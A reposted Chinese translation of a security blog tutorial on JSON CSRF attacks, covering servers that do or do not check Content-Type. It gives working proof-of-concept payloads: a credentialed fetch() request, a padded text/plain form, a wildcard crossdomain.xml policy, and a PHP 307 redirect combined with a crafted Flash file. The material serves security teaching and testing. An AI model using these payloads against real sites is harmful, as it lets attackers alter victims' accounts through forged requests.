加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 百科 > 正文

使用Flash进行JSON CSRF攻击

发布时间:2020-12-15 19:51:34 所属栏目:百科 来源:网络整理
导读:Hi 朋友们! 大家都知道CSRF攻击,如果不知道可看下 OWASP的介绍 ,使用burp suite里自带的增强工具(engagement tools)可以很容易地构造各种基本的CSRF攻击POC,包括通过XHR请求进行的CSRF攻击。 在这篇文章里,我将要讨论下我经常碰到的一些CSRF攻击场景。


Hi 朋友们!


大家都知道CSRF攻击,如果不知道可看下OWASP的介绍,使用burp suite里自带的增强工具(engagement tools)可以很容易地构造各种基本的CSRF攻击POC,包括通过XHR请求进行的CSRF攻击。


在这篇文章里,我将要讨论下我经常碰到的一些CSRF攻击场景。看到社区里很多研究者对这个攻击场景都很好奇,我将尽可能的把它说清楚。?

这个技巧可用在使用JSON格式数据进行post请求的情况下。比如{“name”:”test”,“email”:”victim.com”},有两种攻击场景:


场景1:

? ?

服务器接收JSON格式的数据但是不验证Content-type。

场景2:

服务器接收JSON格式的数据,也验证Content-type,比如:Content-type得是 application/json。

说明:这种CSRF攻击只能用在网站应用只使用json格式的数据或者Content-type 为application/json,以及检查数据格式的情况下,如果有任何其它的csrf token或者referer检查,那么这种攻击将不会奏效。

攻击场景1:

使用Fetch请求就可以完成攻击。就像我们上面说的一样,这种场景下服务器只检查post的数据的格式是否正确,只要数据格式正确应用就会接受请求,即使Content-type被设置为text/plain也无妨。

现在假设我们需要把下面的数据发送给应用:{“name”:”attacker”,”email”:”attacker@gmail.com”}

新方法---使用Fetch:

<html>

<title>JSON CSRF POC</title>

<body>

<center>

<h1> JSON CSRF POC </h1>

<script>

fetch('http://vul-app.com';,{method: 'POST',credentials: 'include',headers: {'Content-Type': 'text/plain'},body: '{"name":"attacker","email":"attacker.com"}'});

</script>

<form action="#">

<input type="button" value="Submit" />

</form>

</center>

</body>

</html>



来源:http://research.rootme.in/forging-content-type-header-with-flash

以前的方法----使用form:

使用form构造JSON数据等然后发起post请求:

<form action=http://vul-app.com method=post enctype="text/plain" >

<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}'type='hidden'>

<input type=submit value="Submit">

</html>

这个html文件将发起post请求,使用了JSON格式的数据和一些额外填充的数据。如果应用不会被额外的填充数据影响(我所见的大多数都不会)。如果会被影响,那么还有第二种选择(使用上面的Fetch方法)。



http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html

攻击场景2:

如果应用检查Content-type和数据格式,那么可以借助flash和307重定向来实现攻击。

需求:

  1. 精心构造的Flash文件。

  2. crossdomain XML文件。

  3. 含有307状态的PHP文件。

精心构造的Flash文件:

flash文件(.swf)包含着json格式的数据(攻击者想要发送给目标的数据),并链接到某个放在服务器上的php文件。



这里可以下载SWF文件,你可以下载并根据你的意愿编辑内容,我使用了FFDec来在Windows上编辑编译flash文件,你可以根据你的系统环境选择其它的工具。


crossdomain XML文件:

<cross-domain-policy>

<allow-access-from?domain="*"?secure="false"/>

<allow-http-request-headers-from?domain="*"?headers="*"?secure="false"/>

</cross-domain-policy>

这个文件应该放在攻击者自己网站的主目录下,所以flash文件可以向攻击者的主机发起请求。

说明:如果flash文件和php跳转页在同一个域名下,那么你就不需要crossdomain文件了。


重定向的PHP文件:


<?php

// redirect automatically

header("Location: https://victim.com/user/endpoint/";,true,307);

?>

Flash文件将会请求该PHP文件,这将会进行307重定向,定向到上面提到的应用目标端点(endpoint)。因为307是特殊跳转,它将会在跳转的同时,把从flash文件中得到的JSON数据post给目标,这样CSRF攻击就会成功执行。



这里是hackone上利用该方法的一个漏洞报告#44146,漏洞作者是@avlidienbrunn?。


说明:因为是基于flash,所以浏览器需要安装有flash,现在的浏览器一般都装有flash,但未来可能就不会这样了。

更新说明1:

Evgeniy?编辑并编译了Flash文件,这样可以通过URL参数来传输所有的信息包括JSON数据,php文件&目标端点(endpoint)。这样不仅将复杂的攻击步骤变简单了,而且省去了了场景2中每次都得重新编译flash文件的复杂工作。这里是更新后的flash以及其它文件,作者是

更新说明2:

对于场景1,在某些情况下服务器可能会因为额外的填充数据而拒绝请求,但是还有其它更好的方法,使用ftech或者XHR请求,我们可以无限制的提交JSON格式的数据以及添加POC代码。









本文由看雪翻译小组 Limp 编译,来源Geekboy's blog

转载请注明来自看雪社区

热门阅读

  • 蛰伏17年,看雪社区主办《安全开发者峰会》将于11月18日在北京举行

  • XP SP3,IE8,JavaScript 堆喷射经验值的修正及修正思路

  • 探索C++虚函数在内存中的表现形式及运行机制(二)

  • 探索C++虚函数在内存中的表现形式及运行机制(一)


点击阅读原文/read,

更多干货等着你~

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读